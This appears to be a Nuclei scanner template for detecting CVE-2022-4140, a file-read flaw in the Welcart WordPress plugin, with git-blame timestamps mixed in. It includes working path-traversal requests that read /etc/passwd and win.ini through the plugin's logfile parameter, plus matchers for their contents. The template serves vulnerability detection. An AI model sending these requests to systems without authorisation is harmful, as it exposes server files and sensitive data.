2023-03-31 11:28:24 +00:00
id : CVE-2022-4140
info :
2023-04-13 16:04:42 +00:00
name : WordPress Welcart e-Commerce <2.8.5 - Arbitrary File Access
2023-03-31 11:28:24 +00:00
author : theamanrawat
severity : high
description : |
2023-04-13 16:04:42 +00:00
WordPress Welcart e-Commerce plugin before 2.8.5 is susceptible to arbitrary file access. The plugin does not validate user input before using it to output the content of a file, which can allow an attacker to read arbitrary files on the server, obtain sensitive information, modify data, and/or execute unauthorized operations.
2023-09-27 15:51:13 +00:00
impact : |
An attacker can access sensitive files on the server, potentially exposing sensitive information.
2023-09-06 11:59:08 +00:00
remediation : Fixed in version 2.8.5.
2023-03-31 11:28:24 +00:00
reference :
- https://wpscan.com/vulnerability/0d649a7e-3334-48f7-abca-fff0856e12c7
- https://wordpress.org/plugins/usc-e-shop/
- https://nvd.nist.gov/vuln/detail/CVE-2022-4140
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score : 7.5
cve-id : CVE-2022-4140
cwe-id : CWE-552
2024-01-14 13:49:27 +00:00
epss-score : 0.01317
epss-percentile : 0.84504
2023-09-06 11:59:08 +00:00
cpe : cpe:2.3:a:collne:welcart_e-commerce:*:*:*:*:*:wordpress:*:*
2023-03-31 11:28:24 +00:00
metadata :
2023-06-04 08:13:42 +00:00
verified : true
2023-09-06 11:59:08 +00:00
max-request : 2
2023-07-11 19:49:27 +00:00
vendor : collne
product : welcart_e-commerce
2023-09-06 11:59:08 +00:00
framework : wordpress
2024-01-14 09:21:50 +00:00
tags : cve,cve2022,usc-e-shop,wpscan,wp-plugin,wp,wordpress,lfi,unauthenticated,collne
2023-03-31 11:28:24 +00:00
2023-04-27 04:28:59 +00:00
http :
2023-03-31 11:28:24 +00:00
- method : GET
path :
- "{{BaseURL}}/wp-content/plugins/usc-e-shop/functions/content-log.php?logfile=/etc/passwd"
- "{{BaseURL}}/wp-content/plugins/usc-e-shop/functions/content-log.php?logfile=/Windows/win.ini"
stop-at-first-match : true
2023-07-11 19:49:27 +00:00
2023-03-31 11:28:24 +00:00
matchers-condition : and
matchers :
2023-07-11 19:49:27 +00:00
- type : word
part : header
words :
- "text/html"
2023-03-31 11:28:24 +00:00
- type : regex
part : body
regex :
- "root:.*:0:0:"
- "\\[(font|extension|file)s\\]"
condition : or
- type : status
status :
- 200
2024-01-14 14:05:19 +00:00
# digest: 4a0a00473045022029c4be61cce2cb2a219ee5a71d661295a31033060895a89196fce5fdabede078022100be4fc5da5e9d6e78ba35ab07ce3b4741fb6b3a3408ea84ee2dfcae0282241ab6:922c64590222798bb761d5b6d8e72950